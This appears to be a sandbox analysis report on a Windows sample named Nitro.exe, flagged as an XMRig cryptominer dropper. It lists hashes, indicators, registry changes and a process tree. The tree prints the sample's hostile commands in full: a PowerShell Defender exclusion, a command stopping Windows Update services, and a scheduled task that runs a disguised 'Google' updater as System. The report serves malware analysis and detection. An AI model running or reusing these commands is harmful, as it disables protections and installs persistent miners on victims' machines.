Analysis
-
max time kernel
131s -
max time network
129s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27/10/2024, 13:34
Static task
static1
General
-
Target
Nitro.exe
-
Size
56.5MB
-
MD5
cb5704b35d6f1420581b825a8faee883
-
SHA1
966b5157bd954ca13385db782b39ed56c5a52b9e
-
SHA256
6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a
-
SHA512
7276ed0bf256bc9895712c5de6d8c25851d867c62b2688d44e7cbd3ef63eeee0774345e3221665e3fb8e5a24343d7c45dafac7e308b1a67db24d8afab0ce91cb
-
SSDEEP
786432:brZMUVo6ix6I/AXpORG0zC5lYSI0yhRaJ9r3uXSr7dcS1Se34sey66TM0Mg0G+/c:bAwIcpIGsERI0puXSr7qS1eGsO+/QD
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 3004 created 3460 3004 Nitro.exe 56 PID 3004 created 3460 3004 Nitro.exe 56 PID 3004 created 3460 3004 Nitro.exe 56 PID 3004 created 3460 3004 Nitro.exe 56 PID 3196 created 3460 3196 updater.exe 56 PID 3196 created 3460 3196 updater.exe 56 PID 3196 created 3460 3196 updater.exe 56 PID 3196 created 3460 3196 updater.exe 56 PID 3196 created 3460 3196 updater.exe 56 -
Xmrig family
-
XMRig Miner payload 10 IoCs
resource yara_rule behavioral1/memory/3196-88-0x00007FF6D9C70000-0x00007FF6DD500000-memory.dmp xmrig behavioral1/memory/4312-91-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-93-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-95-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-97-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-99-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-101-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-103-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-105-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig behavioral1/memory/4312-107-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp xmrig -
pid Process 3056 powershell.exe 3220 powershell.exe 4956 powershell.exe 720 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3196 updater.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3196 set thread context of 4912 3196 updater.exe 124 PID 3196 set thread context of 4312 3196 updater.exe 125 -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Nitro.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2416 sc.exe 2180 sc.exe 2516 sc.exe 3204 sc.exe 2780 sc.exe 4652 sc.exe 2456 sc.exe 4032 sc.exe 1316 sc.exe 4640 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3004 Nitro.exe 3004 Nitro.exe 4956 powershell.exe 4956 powershell.exe 3004 Nitro.exe 3004 Nitro.exe 3004 Nitro.exe 3004 Nitro.exe 3056 powershell.exe 3056 powershell.exe 3004 Nitro.exe 3004 Nitro.exe 3196 updater.exe 3196 updater.exe 720 powershell.exe 720 powershell.exe 3196 updater.exe 3196 updater.exe 3196 updater.exe 3196 updater.exe 3220 powershell.exe 3220 powershell.exe 3196 updater.exe 3196 updater.exe 3196 updater.exe 3196 updater.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe 4312 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4956 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe Token: SeIncreaseQuotaPrivilege 3056 powershell.exe Token: SeSecurityPrivilege 3056 powershell.exe Token: SeTakeOwnershipPrivilege 3056 powershell.exe Token: SeLoadDriverPrivilege 3056 powershell.exe Token: SeSystemProfilePrivilege 3056 powershell.exe Token: SeSystemtimePrivilege 3056 powershell.exe Token: SeProfSingleProcessPrivilege 3056 powershell.exe Token: SeIncBasePriorityPrivilege 3056 powershell.exe Token: SeCreatePagefilePrivilege 3056 powershell.exe Token: SeBackupPrivilege 3056 powershell.exe Token: SeRestorePrivilege 3056 powershell.exe Token: SeShutdownPrivilege 3056 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe Token: SeSystemEnvironmentPrivilege 3056 powershell.exe Token: SeRemoteShutdownPrivilege 3056 powershell.exe Token: SeUndockPrivilege 3056 powershell.exe Token: SeManageVolumePrivilege 3056 powershell.exe Token: 33 3056 powershell.exe Token: 34 3056 powershell.exe Token: 35 3056 powershell.exe Token: 36 3056 powershell.exe Token: SeIncreaseQuotaPrivilege 3056 powershell.exe Token: SeSecurityPrivilege 3056 powershell.exe Token: SeTakeOwnershipPrivilege 3056 powershell.exe Token: SeLoadDriverPrivilege 3056 powershell.exe Token: SeSystemProfilePrivilege 3056 powershell.exe Token: SeSystemtimePrivilege 3056 powershell.exe Token: SeProfSingleProcessPrivilege 3056 powershell.exe Token: SeIncBasePriorityPrivilege 3056 powershell.exe Token: SeCreatePagefilePrivilege 3056 powershell.exe Token: SeBackupPrivilege 3056 powershell.exe Token: SeRestorePrivilege 3056 powershell.exe Token: SeShutdownPrivilege 3056 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe Token: SeSystemEnvironmentPrivilege 3056 powershell.exe Token: SeRemoteShutdownPrivilege 3056 powershell.exe Token: SeUndockPrivilege 3056 powershell.exe Token: SeManageVolumePrivilege 3056 powershell.exe Token: 33 3056 powershell.exe Token: 34 3056 powershell.exe Token: 35 3056 powershell.exe Token: 36 3056 powershell.exe Token: SeIncreaseQuotaPrivilege 3056 powershell.exe Token: SeSecurityPrivilege 3056 powershell.exe Token: SeTakeOwnershipPrivilege 3056 powershell.exe Token: SeLoadDriverPrivilege 3056 powershell.exe Token: SeSystemProfilePrivilege 3056 powershell.exe Token: SeSystemtimePrivilege 3056 powershell.exe Token: SeProfSingleProcessPrivilege 3056 powershell.exe Token: SeIncBasePriorityPrivilege 3056 powershell.exe Token: SeCreatePagefilePrivilege 3056 powershell.exe Token: SeBackupPrivilege 3056 powershell.exe Token: SeRestorePrivilege 3056 powershell.exe Token: SeShutdownPrivilege 3056 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe Token: SeSystemEnvironmentPrivilege 3056 powershell.exe Token: SeRemoteShutdownPrivilege 3056 powershell.exe Token: SeUndockPrivilege 3056 powershell.exe Token: SeManageVolumePrivilege 3056 powershell.exe Token: 33 3056 powershell.exe Token: 34 3056 powershell.exe Token: 35 3056 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 1788 wrote to memory of 1316 1788 cmd.exe 100 PID 1788 wrote to memory of 1316 1788 cmd.exe 100 PID 1788 wrote to memory of 4640 1788 cmd.exe 101 PID 1788 wrote to memory of 4640 1788 cmd.exe 101 PID 1788 wrote to memory of 2780 1788 cmd.exe 102 PID 1788 wrote to memory of 2780 1788 cmd.exe 102 PID 1788 wrote to memory of 2516 1788 cmd.exe 103 PID 1788 wrote to memory of 2516 1788 cmd.exe 103 PID 1788 wrote to memory of 3204 1788 cmd.exe 104 PID 1788 wrote to memory of 3204 1788 cmd.exe 104 PID 4392 wrote to memory of 4652 4392 cmd.exe 117 PID 4392 wrote to memory of 4652 4392 cmd.exe 117 PID 4392 wrote to memory of 2416 4392 cmd.exe 118 PID 4392 wrote to memory of 2416 4392 cmd.exe 118 PID 4392 wrote to memory of 2456 4392 cmd.exe 119 PID 4392 wrote to memory of 2456 4392 cmd.exe 119 PID 4392 wrote to memory of 2180 4392 cmd.exe 120 PID 4392 wrote to memory of 2180 4392 cmd.exe 120 PID 4392 wrote to memory of 4032 4392 cmd.exe 121 PID 4392 wrote to memory of 4032 4392 cmd.exe 121 PID 3196 wrote to memory of 4912 3196 updater.exe 124 PID 3196 wrote to memory of 4312 3196 updater.exe 125 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3460
-
C:\Users\Admin\AppData\Local\Temp\Nitro.exe"C:\Users\Admin\AppData\Local\Temp\Nitro.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3004
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4956
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1316
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4640
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2780
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2516
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3204
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:3668
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:720
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4652
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2416
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2456
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2180
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4032
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3220
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:4912
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4312
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3196
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD59c172d22fbbdafe12dfc5c909edea107
SHA19961cfc5a51f1d375186fc64bf98214bdc0cf2df
SHA256315439a1131019ecb316a0344395624965a961baff563be19221620e6e3dc18d
SHA512d459ca5a3abd05b5bff39056065e786eec0260cb83b03c774ab0b98f07dfc8ef7dd5db5f37c569ac0d531ebd640c6dc0aaefc407d357280e07b011e982b91e2d
-
Filesize
944B
MD54c29bce287342155e5bbeedebea6335d
SHA1fc6bd7f43dff1799a0c856b9bf257e0396687730
SHA256f60a63d0c36545a4dc507d35536a898c6fb5cc98f5ef1d3bfa27ad845cf8a639
SHA5123824c10f682870c127a0bbbb2c45fed054d12b21b67b7f544cdaf59552a09bead95ce16df002391a74584cccc79dc69b24688512b294724d32e457205950f187
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5